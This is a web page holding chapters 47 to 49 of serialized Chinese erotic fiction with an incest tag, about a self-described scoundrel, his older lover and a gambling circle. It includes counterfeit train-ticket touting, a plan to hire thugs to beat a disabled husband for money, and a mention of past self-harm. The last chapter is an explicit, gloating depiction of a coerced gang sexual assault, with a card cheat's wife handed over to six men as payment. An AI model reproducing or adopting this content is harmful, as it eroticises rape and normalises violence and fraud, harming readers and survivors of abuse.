热门搜索






[乱伦]无赖是怎样炼成的(全本)-15

  

第四十七章



「怎么回事,这是怎么回事,着火了!」

我在四处弥漫着的烟雾中径直冲向煤气阀,可是,煤气阀并没有打开,厨房里根本看不到火光,原来,烟雾是从卫生间里冒出来的,我惊赅地拉开卫生间的门:

「徐姐,徐姐,怎么回事!」

眼前的景像顿时把我惊呆了,卫生间里一片狼籍,哪里还有徐姐的影子,那件刚刚买来的貂皮大衣,挂在洗脸镜旁的衣钩上,呼呼呼地闪串着一片片可怕的火苗,啊——,徐姐,你,可真做得出来啊,妈妈不收你的礼物,你,就是这样处理你的礼物?

我没有时间再作多想,一把抓过淋浴喷头便往貂皮大衣上狂射过去,火苗很快被熄灭,而原本雍容华贵的貂皮大衣则被彻底毁了容、面目全非,可怜巴巴地挂在衣钩上,伤痕累累的衣身散发着剌鼻的焦糊味,我无比惆然地扔掉淋浴喷头:唉,好恶毒的女人啊!

「这,」妈妈推开房门,挎着小竹蓝,呆呆地望着眼前的一切,许久,才恨恨地说道:

「小力,这样的泼妇你也敢往家娶吗?你还让不让妈妈活了?」

「唉,」我垂头丧气地走下楼去,我想找徐姐算帐,质问她:你为什么在我家放火?你烧掉貂皮大衣,是什么意思?可是,我又没有胆量去她家,怕撞见她的丈夫:操,明天再跟你算帐。我掏出烟盒,啪啦一声,一张硬纸片掉了出来,那是杨坤留给我的呼机号,唉,好闹心啊,找杨坤聊聊吧。于是,我找到一家公用电话亭,给杨坤打了一个传呼,很快,我就接到杨坤的回音:

「你是张哥吧?」

「是的,小杨,你在哪呢?」

「我在街里吶,张哥,过来啊,我在×路汽车终点站那等你!」

「好的,小杨,请耐心等待,我马上就过去!」

当我跳下汽车,猛一抬头,杨坤果然拎着小皮包,站在汽车站旁边的一根电线杆下,她还是那么的妩媚、那么的妖娆、婷婷玉立,见我跳下汽车,笑吟吟地款款走来,当走到我的身前时,非常可爱的伸出细手,摆弄着我的衣领:

「张哥,最近忙什么吶?」

「没有什么正经事,瞎忙!」

「张哥,哪里有典当行,大一些的,信誉比较好的,给小妹找一家!」

「典当行?」我不解地瞅了瞅杨坤:

「小杨,你找典当行干么?」

「张哥,先别问为什么啦,我有急事,快,给我找一家典当行!」

「哎呀,」我挠了挠脑袋:

「这银行吗,遍地都是,可是,典当行,却不多,大一些的,很难找!」

「是呀,如果好找的话,小妹就不麻烦张哥啦!」

「哦,」我一拍脑门:

「小杨,我想起来了,当年,我跟晓虹满大街乱窜的时候,在火车站的附近,无意之中看到一家规模较大的典当行,只是,不知道现在还开不开!」

「嘻嘻,」听到我提起晓虹,杨坤笑道:

「张哥,就别提你们那些热闹事啦,你们都快成盲流了,嘻嘻,到处乱窜也有好处啊,什么地方都知道,无论什么大街小巷,都能找到,走吧,张哥,咱们去火车站吧!」

我和杨坤一同赶往火车站,谢天谢地,典当行还在,正常营业,当走进典当行宽敞明亮的大厅时,杨坤开始摘她脖子上的金项链、手腕上的金手链、手指上的金戒指,我楞头楞脑地问道:

「小杨,你,这是干什么?」

「当了它!」

「怎么,你没钱花啦,小杨,」我伸手掏徐姐给我的零花钱:

「小杨,没钱花,我可以给你几个,可千万别当首饰啊,当了容易,赎回来就难了!」

「不,不,」杨坤推了推我握着钞票的手:

「张哥,谢谢你,我有事,急着用钱,必须得当掉它!」

「什么事?」

「一会再告诉你!」

杨坤在柜台前走来走去地办理着典当手续,最后,当她把心爱的首饰塞进窗口,又接过一叠钞票时,杨坤突然涌出一串酸溜溜的泪水,但是,她很快便悄悄地擦抹掉,即使这样,也没有逃过我的眼睛。

「小杨,」我正欲询问杨坤为什么要当掉首饰,她看了看腕上的手表:

「张哥,请小妹吃点饭吧!」

「好啊,走吧,狗肉馆!」

「不,张哥,小妹已经不吃狗肉啦,那天,听张哥讲,你是那么的喜欢毛毛,甚至为她大哭了一场。我就发誓,从此以后,再怎么馋,也坚决不吃狗肉啦。」

「小杨,谢谢你,狗是很可爱的,是人类最好的朋友,有的时候我想,交一个狗也比交一个坏人强,小杨,那,你想吃什么啊?」

「羊肉!」杨坤顽皮地说道:

「小妹想吃水爆肚、羊杂汤!」

「妥,」我向前一指:

「嘿嘿,你看,对面就是一家穆斯林餐厅,小杨,走吧,喝羊汤去吧!」

我给杨坤点要了一盘她很喜欢吃的水爆肚和一碗羊杂汤,我们一人一杯白酒,我端起酒杯与杨坤笑嘻嘻的碰了一下:

「来,好久没喝了,大点口,」

「好的,谢谢张哥!」

「啊——,好辣的酒啊,小杨!」我放下了酒杯:

「钢瓶那桩生意,做得怎么样了?」

「嗨,」杨坤一听,立刻露出一脸的愁容:

「可别提那笔买卖啦!」

「没做成!」

「嗯,」

「怎么,老冯他泡人,不办事?」

「唉,」杨坤叹了口气:

「这事,也怨不了人家,样品发过来了,一检测,不合格,钢瓶这玩意可不是闹着玩的,漏气,谁敢用,出了事故,就不是小事,谁负得起责任,唉,一通瞎折腾啊,连路费都搭上去了!」

「那,你当首饰,还要做什么生意吗?」

「不,」提起首饰,杨坤更加懊恼起来:

「张哥,晓兰出事了!」

「啥,什么事?」

「进去了!」

「为什么?」

「倒票!」

「哦,晓兰原来是票贩子?」

「嗯,」杨坤毫不掩饰地点点头:

「不光她,我也是,我和晓兰就是倒票的时候认识的,不过,我现在不干了,太危险,总出事!这不,晓兰又出事了,给抓了起来,我得去赎她,可是,没有钱,只好把首饰当喽,呜——,呜——,……」说着说着,杨坤突然放下筷子,捂着秀脸嘤嘤地抽泣起来:

「呜——,呜——,呜——,我不让她去,她非得去,临走前,我有一种预兆,一种不祥的预兆,去了肯定没好,果然,真的就出了事!」

「在哪出的事啊!」

「×州!」

「呵呵,」我惊叹道:

「小杨,她怎么跑出那么远去倒票啊?」

「这个,」杨坤非常在行地对我说道:

「张哥,这行当,你不懂,有些事,你不应该知道,如果知道的太多,对你、对我都没有什么好处!我们倒的是假票,印制的都是那个区段的,所以,必须去那里卖!」

「哇——,真是三百六十行,行行有行规啊,哈哈,小杨,你们的票是从哪弄来的啊!」

「不,」杨坤坚定地摇摇头:

「张哥,请别在意,小妹真的不能告诉你,否则,对我,对你,都没好处!」

「算了,算了,」我摆摆手,不再追问,我们默默地喝了几口酒,我又忍不住地问道:

「小杨啊,你干点什么不好,偏偏干这个,到处游荡,整天提心掉胆的。」

「张哥,像我这样从农村来的女孩子,无依无靠,做买卖又没有本钱,能干些什么啊,我的同伴,大都做了小姐,我可不愿意干,没办法,为了吃饭,为了活着,就跟着这些票贩子一趟一趟地往关里跑吧。我不是直接出面卖票的,我负责看管等待出卖的假票,我一般都是悄悄地站在车站广场的一边,有人买的时候,我的同伴来取。嘻嘻,张哥!」杨坤用筷头指了指她的乳罩:

「我一般把车票藏在这个地方。」

「嘿嘿,」我苦涩地笑了笑,无言地望着眼前这位可怜的女孩子。

「有一次,真的就出了事,警察逮住了我的同伴,我正在旅店里我,往窗外一看,我的同伴在警察的喝斥下,手上戴着手铐,正向旅店走来,我吓得抓起挎包就往外跑,刚跑到旅店门口,便与警察和同伴碰了个面对面。还好,我的同伴很够意思,装着不认识我,我这才逃回了家。等我下了火车,一摸,身上还有一块钱,张哥,我连公共汽车都舍不得坐,这一块钱,还能买几个馒头吃,唉,回到家里,我把挎包往床上一扔,眼睛直勾勾地望着天棚,怎么办,去哪搞钱啊?」

「好惊险,你的同伴的确很够意,如果让他做地下党,一定是个很出色的英雄汉。小杨,你一次也没被警察逮住过吗?」

「逮住过,可吓死我啦,」

「让警察逮住你,那可没好,小杨,警察对你,」

「不,不,」杨坤完全明白我话里的意思:

「不,不,那个地方的警察还挺文明的,对我很礼物,至于男票贩子,那可就不客气,先是一通暴打,然后,都乖乖地蹲墙跟去。而我,警察给我一把椅子,我可以坐着,比男票贩子们舒服多了。第二天,警察把我领进一间屋子里,让我坐好,然后,便啪啪啪地给我照像。末了,又让我十根手指都蘸上印泥,我哪里经过这种场面,我不知道警察会让我做些什么,我呆呆地举着红通通的双手,吓得一个劲地哭:警察叔叔,饶了我吧,我以后再也不干了!」杨坤再次涌出一串伤心的泪水:

「那个地方的警察真的不错,没罚我,只是警告我:看你年龄还小,又是个女孩子,这次,我们不罚你,放了你,你以后要好好做人,如果再犯到我们手里,可别说我们不客气了。我真的很感谢那里的警察,从那次被抓住以后,我便再也不干了,可是,晓兰这个强种,说什么也不听我的,这回可好,栽了,她是不见棺材不落泪啊。」

「唉,」我感慨道:

「世事艰难啊,什么人都得活着啊!」

「呜——,呜——,……,我的首饰,我的项链,我的手链,」杨坤又嘤嘤起来:

「我不知吃了多少苦,受了多少罪,好不容易攒点钱,买了几个首饰,这回可好,全没了,呜——,呜——,……」

「小杨,」我无比同情地说道:

「你这个人很够意思啊,为了朋友,真是可以豁出一切啊!」

「张哥,」杨坤抹着泪水,喃喃地说道:

「晓兰是个好人,你别看她说话大大咧咧的,她可是个热心肠的人,没有她,我早死了,你看,」杨坤伸出手腕,我这才注意到,杨坤那细白的手腕上有一道深深的划痕:

「有一阵子,运气背到了极点,一分钱也搞不到,我彻底地绝望,就在屋子里割了腕,如果不是晓兰回来的及时,我早就变成一盒骨灰了!」杨坤一边说着,一边将腕上的表盘拧了过来:

「哎哟,时间不早啦,张哥,我该上车啦!」

「小杨,你,买票了吗!」

「嘻嘻,」杨坤破涕为笑,嗖地从乳罩里抽出一张车票,冲着我娇滴滴地晃来晃去:

「这个,」

「假的!」

「当然,」

「不行,」我一把将假票夺了过来:

「不行,你还想出事吗?」

「张哥,没事的,我又没卖,只是自己用,如果真的被发现了,就说是从别人那里买来的,嘻嘻,没事的,放心吧,路途太远,票价太贵,能省点,就省点吧!」

「走,我送送你!」

「谢谢!」

我给杨坤买了许多水果和食品,然后,双双走进月台:

「小杨,你大概什么时候才能回来呢?」

「一周吧!」

「小杨,到了×州,代我向晓兰问好!」

「好的!」

风尘仆仆的列车尖厉地呼啸着怒气冲冲地闯进站台,杨坤非常灵巧地跳上火车,当列车徐徐开动后,杨坤依然靠在车门处,亲切地向我摆着小细手,吐着薄舌头,做着小鬼脸。我跟着列车跑出一段路,望着渐渐消失在夜色中的列车,想着列车上那个可怜的女孩子,我心里说不出来是一种什么样的滋味,我自言自语地叹息道:

「唉,好可怜的女孩子啊!」

……

………………………………………………………………………………………………

第四十八章

我和徐姐的婚事尚无着落,而会计室里则闹开了锅,徐姐那个痴迷于垂钓的独臂丈夫,烂醉之后,不顾众人的阻拦,骂骂咧咧地冲进会计室,他恶狠狠地揪住徐姐的秀发:

「婊子养的臭骚屄,过河折桥的贱女人,操你妈的,看我没用了,你就想他妈的一脚把我踢开,去另寻新欢,我,我,……」怒不可遏的独臂人伸出仅剩的一只手臂,凶狠地击打着徐姐的面颊,如果不是众人及时拽扯开,徐姐那秀美的容颜定会饱偿一通无情的铁拳。

「呜——,呜——,……」下班后,徐姐找到了我,她一边抽涕着,一边用手帕擦抹着被打肿的眼眶,我看到眼里,乐在心上:活该,活该,该打,该打,打得好,解恨,独臂人还是手下留情,应该把这个忘恩负义的贱女人打成独眼母夜叉。

「小力,怎么办,他说什么也不肯离,这不,把我打成这样,小力,我的小心肝,咱们可怎么办啊,你倒是给姐姐想个办法啊!」

「哼,」一想起徐姐在我家放火烧貂皮大衣那件可怕的事,我的气就不打一处来:

「既然他不肯离,那,咱们就算了吧!」

「不,不,我一定要离!」

「徐姐,我已经想好了,我们还是拉倒吧!」

「啊——,」徐姐一惊,咧开了嘴:

「为什么,你,不娶我啦?为什么,」

「为什么,你自己最清楚,瞅你在我家干的好事,你想把我家烧光啊!」

咕咚一声,徐姐直挺挺地跪在我的面前,顿时泪如雨下:

「小力,我不对,我不对,我向你认错,当时,看到你妈妈那冷冰冰的样子,连句话都不跟我说,还下楼躲开了,我脑袋一热,就做出了那件傻事。小力,我的小心肝,原谅我,原谅我,以后,我再也不干那傻事了,原谅我,姐姐不能没有你!呜——,呜——,呜——,」

「可是,你的丈夫不肯跟你离,你怎么办?你想犯重婚罪,我可不想!」

「小力,给姐姐想个法子,法院总是偏向他!」

「那当然,人家是残疾人,是弱者,法院当然得偏向点!」

「小力,给姐姐想个办法啊!」

「办法吗,到是有!」我还是不想放弃这个女人,我需要她,不是她的身体,更不是她的心,而是她的钞票,于是,我说道:

「揍打!」

「揍他?」徐姐反问道:

「可是,我,打不过他啊,虽然他只有一条胳臂啦,我还是打不过他啊!」

「哼哼,」我冷冷地一笑,露出一付十足的无赖嘴脸:

「笨蛋,谁让你打他啦,雇人啊,雇人狠狠地揍他一顿,」

「这,」徐姐迟疑起来,我问道:

「怎么,舍不得了,那,算了!」

「不,」徐姐拽住我的衣袖,站了起来:

「小心肝,我是怕把他打坏,闹出大事来啊!」

「不会的,」我胸有成竹地说道:

「这事,交给我来办吧!」

「好,小力,小心肝,你可一定要掌握好分寸啊!」

「这个,我比你清楚,来,」我向徐姐伸出手去:

「来之,来之,来之啊?」

「什么,」

「操,废话!」我学着老杜的样子,手指肚频繁地摩擦着:

「钱啊,钱啊,哪有找雇佣军,不给钱的,没有钱,谁给你打人?」

「好,」徐姐问道:

「小力,需要多少钱,我明天就给你!」

「三千!」

「好的,明天早晨银行一开门,我就去取!」

第二天上午,徐姐果然把三叠钞票送到我的手里,她千叮咛、万嘱咐着:

「小力,我的小心肝,告诉雇来的人,下手一定要有分寸啊!」

滴滴嘀,滴滴嘀,滴滴嘀,滴滴嘀,……

我正美滋滋地数点着厚厚的钞票,腰间的呼机突然叫唤起来,不用问,老杜又找我了,我的呼机号只有他一个人知道,哈哈哈,杜大哥,老弟我正想找你吶,你却先传了我,我把钞票塞进小皮包里,冲徐姐摆了摆手:

「姐姐,我这就去了,老杜传我了,我找他,给你摆平此事!」说完,我急忙跑向公用电话亭:

「大哥,有事吗?」

「操,」老杜还是那大大咧咧的口气:

「快点过来,我跟你说的那件事,你忘了!」

「什么事?」

「操,真是好记性,爬坡啊,我不是跟你说过了,让你帮大哥我,爬个坡!」

「哦,想起来了,大哥,在哪啊!」

「天鹅湖宾馆,快点来吧,我又他妈的输个鼻青脸肿!」

我拦住一辆出租车,风风火火地赶往天鹅湖,现在,我也有资格、有钞票理直气壮地打的了,我好不骄傲,想到此,我更加坚定与徐姐结合的决心,没有徐姐,我,有钱打的吗?

当我推开宾馆的一间包房时,豁——,屋子里狼籍不堪、乌烟瘴气,老杜歪着身子坐在床铺上,摇头晃脑地吞云吐雾,见我进来,他呼地站起身来,扔掉了烟蒂:

「啊——,」老杜非常亲切地与我拥抱着:

「小老弟,小连桥,多日不见,好想你啊!」

除了老杜,满屋子的人我只认识一个:老冯,我与老冯握了握手,然后,老杜开始给我一一介绍:

「这位,二欣子!」

「你好,」我与被唤作二欣子的中年男人握了握手,他没有老杜壮实,却长着非常可笑的啤酒肚,手里也握着一部手提电话。老杜又指了指墙角处的一个大块头:

「这位,秃子!」

「哎,你好!」我急忙把手从二欣子那里抽出来,跟大块头秃子握了握手,老杜又拽了拽我的胳臂:

「嗯,这位,」他指着方桌旁一位年轻人对我说道:

「小林子,牌坛高手!」

「不,不,」小林子一边谦虚着,一边与我握了握手,我心里想道:不用问,老杜让我帮他爬坡,对手,一定就是他喽,于是,我非常留意地注视小林子一番,乍看上去,他要比我年轻一些,这使我倍感意外。在社会上混迹多年,我永远都是可怜的小字辈,与我打交道的那些个老江湖,如果细细道来,更确切地说,我应该称呼他们谓叔叔,而不应该大大咧咧地称兄道弟。年轻的小林子戴着一付亮闪闪的近视镜,面色显露着病态的苍白,我轻轻地抓了抓他的手掌,干枯而又冰凉:

「你好!」

「你好!」

「她,」小林子指了指身旁的一个妙龄女子:

「她,小穆,我的媳妇!」

我冲小穆点点头,相互间友好地微笑一下,小穆约莫二十左右岁,身材高佻,体态轻盈,皮肤白晰,尤其是那双水汪汪的大眼睛,放射着迷人的光芒,一对明亮的黑眼珠,炯炯有神,流淌着滚滚春情。

啪——,一副崭新的扑克牌被老杜甩到了桌面上,他冲着我和小林子说道:

「运动员,入场!」然后,又把一叠钞票甩到我的眼前。

「大哥,」小林子露出不情愿的神色:

「别玩了,我请你,请大家桑拿,还不行吗!」

「操!」老杜立刻放下笑脸:

「咋的,赢了几个臭钱,就脚底抹油,开溜哇——?」

看到老杜那可怕的冷脸,小林子再也不敢拒绝,默默地坐到我的对面,我抓起了扑克牌,为了打消小林子对我的警惕性,我故意佯装笨拙地摆弄几下,然后放到桌面:

「哥们,请错牌!」

「操,又开战了,」二欣子和秃子立刻凑拢过来,纷纷对我说道:

「哥们,这小子牌玩得特滑淌,把我们全都给收拾光了,你,可要悠着点,……」

「五十!」

「跟了!哥们,请别动牌,我返抽你五十!」

「好的,跟你,请抓牌!」

第一把,小林子赢了,于是,扑克牌到了他的手里,我点燃一根香烟,装着若无其事的样子,而眼睛则偷偷地盯视着小林子的手掌,看他如何洗牌、倒牌。

啪——,小林子把穷折腾一番的牌往桌子上一放:

「哥们,请错牌!」

连抓两张,我悄悄地掀开看了看,两个Q,我心中暗想,这小子,给我做好套了,让我上勾,去抓第三个Q,然后,他,或者弄出三个A、或得弄出三个K,收拾我。为了验证一下,我拚死跟了一把,一点不错,我又输了。旁边的老杜有些沉不住气,但是,并没有过份的表现。赌局继续进行。

又是一番撕杀,我渐渐摸出小林子的套路,于是,决定开始反击,我把从眼镜那里学来的技法全部派上用场,他让我错牌,我就照着他码的牌印,悄悄地漏过一张,小林子看在眼里,非常不自然,苦涩地咧了咧嘴角,无可奈何之下,只好硬着头皮去抓牌,我默默地注视着他:小子,玩吧!

有时,我则错开三张、或者是四张,小林子认为尚有一线希望,准备拚命跟到底,他大把大把地往桌子上抛着钞票,企图把我震住:

「操,踢,跟不跟!」

「呵呵,」我根本没有看自己的底牌,而是刁顽地瞅着他,挑衅般地说道:

「哥们,别踢啦,你要的那张牌是不会抓到的,太深了!」

「嗯,」小林子的白脸突然唰的一下子红胀起来:

「你,」

「哥们,」我抓起满桌的钞票:

「哥们,还是省点吧,不信,你自己看,」说完,我哗地掀起扑克牌,小林子登时傻了眼:

「你,是怎么知道的?你怎么知道我就要这张牌!」

「我也不知道,凭感觉吧!」

我觉得火候已到,应该掀他的老底,当小林子再次让我错牌时,我笑嘻嘻地用手指尖点划着扑克牌:

「哥们,想怎么错?」

「随,随便!」

「这么,这么,哥们,」我呼地将整副扑克牌极其熟练地翻转过来:

「哥们,别玩了!」

「啊——,」眼前的一切,顿时把老杜、老冯、二欣子、秃子,给惊呆了:

「操,好哇!」老杜一把揪住小林子的衣领:

「他妈的,出老千,跟我玩这个!」

「大——,哥——,」小林子哆哆嗦嗦地吱唔着,老杜举拳便要开打,我一把挡住,一边摆弄着扑克牌,一边冷冷地问他道:

「哥们,谁是你的师傅?」

「眼镜!」小林子像个囚犯地老实交代道。

「啊——,眼镜!」我的眼前顿然一亮:

「哥们,你知道吗?想当年,我逃学的时候,在马路上,也认识了眼镜,我的师傅也是眼镜,看来,咱们是师兄弟啊。嘿嘿,都是一个师傅教出来的,你那套路数,几把牌我便看个明明白白。哎,能告诉我吗,眼镜,他现在怎么样了?」

「死了,肝硬化!」

「唉,」我叹了口气。

「操,」老杜一把将小林子推倒在地,小穆吓得面如土色,老杜吼道:

「你说,怎么办吧?」

「大哥,」小林子扑通一声跪在地板上,把口袋里所有的钞票都掏了出来:

「各位大哥,饶了小弟吧,这些钱,都还给你们!」

「他妈的,」老冯骂道:

「今天,如果不是小张老弟把牌叫开,我们都还蒙在鼓里呢,」

「是啊,」秃子感叹道:

「就是输死,也不知道怎么回事!」

「操,」老杜并没有去拿小林子的钞票:

「这点钱就算完了吗?」

「是啊,」秃子说道:

「赌规你不知道吗?出老千,一旦被人叫开,过去所赢的钱必须全部奉还,还得请客陪罪,否则,废了你!」

「大哥,各位大哥,饶了我吧,我也是没办法啊,为了生活啊!」

「好钱你是没少赢我们的,你说吧,怎么办?」

「赔,让他赔,」二欣子嚷嚷道:

「让他把赢我们的钱,一分不差地包赔出来!」

「对,赔,」

「赔,」

「赔!」

「……」

「大哥,」小林子以哭腔乞求道:

「我,实在赔不起啊!」

「哼,赔不起,赢咋能赢得起啊!」

房间里一片乱纷纷,我推开众人,躲到角落里一边吸着香烟,一边望着眼前可笑的场景。吵去嚷去,众赌徒的目光全部不约而同地落到了擞擞发抖的小穆身上。在众男人热辣辣、淫迷迷的目光之中,小穆预感到将会发生什么事情,她更加哆嗦起来,绝望地盯着小林子,而小林子则可无奈何地瞅了瞅她:

「穆,只好这样啦!」

「走!」老杜冲我一挥车钥匙:

「还是老地方,黄金海岸!」

「大哥,」我想脱身,是啊,揭了小林子出老千的底,还要操人家的媳妇,我可太过份了,小林子不得恨死我,一旦有机会,非得要我的命,想到此,我对老杜说道:

「大哥,我就不去啦!」

「不行,老规矩,有女人,大家一起玩!」

「可是,我还有件事,想麻烦麻烦你!」

「操,什么事啊,操完屄再说!」

「大哥,现在就给我想想办法吧!」

「操,啥事?」

我把嘴附到老杜的耳畔,嘀咕了一阵,老杜冲我阴险地一笑:

「操,行啊,办了,差不多要上手了!」然后,他把秃子唤到身边,与他咬了一会耳朵,秃子欣然应允:

「哥们,不就这点事吗,小事一桩,」秃子啪啪地冲我拍着胸脯:

「哥们,你的事,包在我身上啦,到时候,看好吧!」

「大哥,事后之后,该多少钱,就多少钱,我,」我对秃子说道。

「嗨,」秃子冲我一摆手:

「兄弟太客气了,兄弟给哥们叫开了牌,我还没谢谢你呢,你的事,我全力去办,不要你一分钱!」

「谢谢大哥!」

「走!」老杜再次挥起车钥匙,众人呼地挤向房门。

第四十九章

「操,」老杜光溜溜地坐在包房的长沙发,一边搓着大鸡巴,一边冲着呆呆地伫立在地板中央,脸颊低垂,极不自然的小穆吼道:

「过来啊,干啊,咋的,装什么蒜?」

「穆!」小林子无奈地冲着自己的媳妇说道:

「没事的,别不好意思,都是哥们,去吧!」说完,小林子亲自把小穆身的浴衣脱了下来,我被安排坐在老杜的身旁,也是全身赤裸,我的目光冲着小穆扫视过去。呵呵,真是年轻鲜嫩啊,小穆那轻盈的体态一览无余地展现在众男人们面前,她那细白的肌肤在耀眼的灯光下,反射着道道令人血脉喷张的柔和光芒;端庄靓丽的瓜子脸上流淌无限伤感的娇容;樱桃般的小嘴无奈地厥起;一对馒头般鼓胀的酥乳点缀着两颗可爱的红珍珠;光鲜的小腹有一个让人痴迷的小凹陷;两条细长、匀称的玉腿间有一缕向上蓬松的芳草地;小巧的脚趾上涂着亮闪闪的油脂。好一朵盛开着的鲜花啊。好可惜啊,如此漂亮的鲜花,即将被众无赖们无情地肆意践踏、躏蹂和摧残!

「你,」老杜冲着小林子摆摆手:

「坐到那边去!」

小林子闻言,乖乖地坐到长沙发上,在软绵绵上的长沙发,一字排开地端坐着秃子、老冯、我、老杜、二欣子、小林子,共六个壮年男子。六根雄赳赳、气昂昂的大鸡巴趾高气扬地耸立着,红通通的鸡巴头无比骄傲地直指天棚。老杜继续揉搓着冒火的大鸡巴,他冲着小穆一摆手,小穆无可奈何地走过来:

「各位大哥,谁先来啊?」

「嘿嘿,」秃子冲着老杜淫笑道:

「人多屄少,先可领导!大哥,你先上吧!」

「是啊,」老冯讨好道:

「还是老规矩,大哥开个头吧!」

「操,」老杜没有动弹,他指着自己的大鸡巴对小穆说道:

「急什么啊,先给大家伙嘓一嘓,然后,到底是谁先来,再说吧!」

「嗯,」小穆只好蹲下身来,附在老杜的脚前,含住他的鸡巴,老杜却推了推她:

「去,去,从那边开始,一个一个地来,……」

于是,小穆只好窜到最边缘的秃子那里,开始给六个男人口交,她首先含住秃子的鸡巴,叽叽叽地吮吸起来,众人(小林子除外)都握着自己的鸡巴津津有味地望着小穆。

终于轮到我了,小穆了咳了一声,润了一下咽喉,然后含住我的鸡鸡,我悄悄地瞅了她一眼,小穆恰好抬起眼皮,与我的目光无意之间对视到一起,她恶狠狠瞪了我一眼,然后,不得不含住我的鸡鸡继续吮吸。

最后,当轮到给小林子给口交时,望着可怜而又可恶的丈夫,小穆突然涌出一串辛酸的泪水,滴落在丈夫的鸡巴头上。

「好啦,谁先来!」老杜欢天喜地的问道。

「那还用说,大哥呗!」众人附和道。

「不,」一贯在狐朋狗友们面前横行霸道、以老大自居的老杜,今天却非常意外地谦让起来,可是,老杜不开始,没有谁敢于擅自上前,看来,满屋子的男人们,没有一个敢得罪老杜。老杜瞅瞅我:

「小连桥,去,你先上!」

「大哥,」我提议道:

「既然大哥如此谦让,不肯先上,众兄弟们也不好意思,我看这样吧!」

「怎么样,快说!」

我让小穆抱着双腿仰躺在铺着地毯的地板上,然后,命众男人分别握着鸡巴,围跪在小穆的四周,形成一个可笑的、荒淫的小圆圈。老杜见状,乐得嘴角竟然喷出了白乎乎的口液:

「我操,小连桥,你,这是玩的什么游戏啊!」

「各位,」我将手掌放在小穆光滑细嫩的肩膀上:

「现在,我让她转动,等她停下来后,她的小屄冲着谁的鸡巴头,谁就上去操她,怎么样?大家同不同意啊!」

「哈哈哈,同意,……」

「哈哈哈,同意,……」

「哈哈哈,同意,……」

「哈哈哈,同意,……」

「……」

哄——,众男人一听,纷纷仰面大笑,我运了运气,手掌一推,小穆便可笑地转动起来,众男人立刻停止了笑声,握着鸡巴,一双色迷迷的眼睛死死地盯着旋转着的小穆,心里默默地念叨着:停下来,停下来,快停到我的鸡巴头上。

终于,小穆停止了转动,非常准确地停在我的面前,我咧了咧嘴,冲着众人说道:

「各位,实在不好意思!」

「干吧!」

「干吧!」

我把小穆拽到自己的胯间,拨开那缕可爱的性毛,我看到一个娇巧的粉肉洞,我喜滋滋地把鸡鸡塞进去,而小穆则冷冷地瞪着我,我没有理睬她。我避开她的目光,开始狂捅起来,小穆的阴道非常的紧缩,插在里面的鸡鸡获得一种美妙的压迫感,我的鸡鸡每抽拉一下,就像从细细的、又湿又滑的胶皮管里拽出来的铁筷子,发出吱吱吱的、令人直起鸡皮疙瘩的脆响,众人无比羡慕地望着我有滋有味地操着小穆,老杜抹了抹嘴角的口水:

「小连桥,怎么样,这个小屄味道怎么样,操起来爽是不爽啊!」

「大哥,别提有多爽啦,她的小屄又紧又滑!」

众男人一听,更加羡慕起我来:

「老弟,你的运气很不错哦,」

「是啊,应该让他先操,牌可是他叫开的啊,」

「四十七、四十八、四十九、五十,」我一把将小穆推到人圈的中央:

「不行,人多屄少,别一个劲地没完没了地操啦,轮到谁的时候,每人操五十下就可以啦,大家穿换着玩吧,」说完,手掌又是一推,小穆又无奈地旋转起来。

「哈哈哈,」小穆的阴部停在了秃子的面前,秃子顿时乐得心花怒放:

「轮到我了,轮到我了,各位,不好意思啦!」

「操,」老杜若有所失地嘀咕道:

「快点上吧,别装啦,告诉你,快点哦,就五十下,不许多!」

「一下、二下、三下、……」秃子身旁的老冯非常认真地帮助秃子数点起来,秃子一边插捅着身下的小穆,一边美滋滋地说道:

「啊,小屄的确不错啊,是好紧呀,像是一根胶皮管,一插,吱吱吱地直响!」

「唉,」小林子绝望地说道:

「我们结婚还不到一个月吶,能不紧吗!」

「哈哈哈,原来是刚开完苞的鲜货啊,好,好,值得好好地操操!」

「四十九、五十,行了,下来吧!」老冯拍了拍秃子的肩膀,秃子极不情愿地停歇下来:

「真好,没操够!」说完,他依依不舍地推了小穆一把,小穆再次旋转起来,最后,停在了她丈夫,小林子的面前,小林子红胀着脸,将小穆一推,小穆又旋转起来,老杜见状,吼道:

「不行,不行,游戏规则,谁也不许违反,操她,必须操她!」

说完,便把小穆推向小林子,小林子无奈,只好在众目睽睽之下,心不在焉地插捅着自己可怜的媳妇。

「他妈的,」当小林子操完了小穆,将她再次旋转起来的时候,又意外地停在我的面前,老杜一脸不悦地嚷嚷起来:

「这是怎么搞的啊,咋么就是轮不到我啊!」

「给,」我把小穆推向老杜:

「大哥,我不操了,让给你了!」

「谢谢!」

老杜乐合合地爬到小穆的身上:

「让我偿偿,都他妈的说好,我看看,倒底是怎么个好法!」

老杜恶狠狠地狂操了小穆五十下,然后将满脸泪痕的小穆推向身旁的老冯:

「算了,别玩了,只有你和二欣子没有操着了,你们每人操她五十下,然后,再换个玩法!」

待老冯和二欣子操完了小穆,老杜让众男人一字排开地仰躺地软绵绵的地毯上,六根大鸡巴可笑地在小穆的眼前晃动着:

「小骚屄,来,从那边开始,一个接一个地上,这回,每人操你一百下!」

于是,小穆便从西侧开始,首先跨到最边缘的秃子身上,秃子乐不可支,淫笑着将大鸡巴塞进小穆的阴道里,然后,抱住小穆的细腰便疯狂地向上插捅着,而身旁的老冯也不甘寂寞,一边贪婪地抚摸着小穆细白的屁股和修长的玉腿,一边帮着秃子数点着:

「一下、二下、三下、……」

「行啦,行啦,到数拉!」早已迫不急待的老冯一把将小穆从秃子的身上拽扯过来:

「小宝贝,该我啦,」说完,老冯揉了揉自己的大鸡巴,小穆分开自己的阴唇,老冯呼地一下将大鸡巴塞小穆那刚刚被秃子狂捅了一百下的阴道里:

「哇,小骚货,让这么多人操了这么长的时间,你的小嫩屄咋还是这么紧啊,夹得我的鸡巴好舒服啊!」

小穆没有言语,机械地在老冯的身上扭着细腰,旁边的老杜开始运气:

「九十七、九十八、九十九、一百,得,给我吧!」说完,老杜不容分说地将小穆拽到自己的身上:

「小骚货,让我看看,你的小屄被大家伙操烂没有!」

老杜并没有急于把大鸡巴塞进小穆的阴道里,而是抬起头来,扒开小穆的阴道,仔仔细细地观赏着,两根手指恶狠狠地抠搅着:

「好紧,紧滑,」小穆羞涩地闭上了眼睛,轻声地哼哼着,老杜终于抽出手指,将大鸡巴塞进小穆的阴道里,狂捅了一百下,然后,往我身边一推:

「给,该你啦!」

我拽过小穆,小穆依然用冷漠的目光瞪了我一眼,我装着没看见,分开小穆的阴唇,塞进了鸡鸡,我一边捅插着她,一边咬啃着她的小乳房,小穆很不客气地推搡着我的脑袋。

「大哥,」我草草地插了一百下,把小穆推向身旁的二欣子:

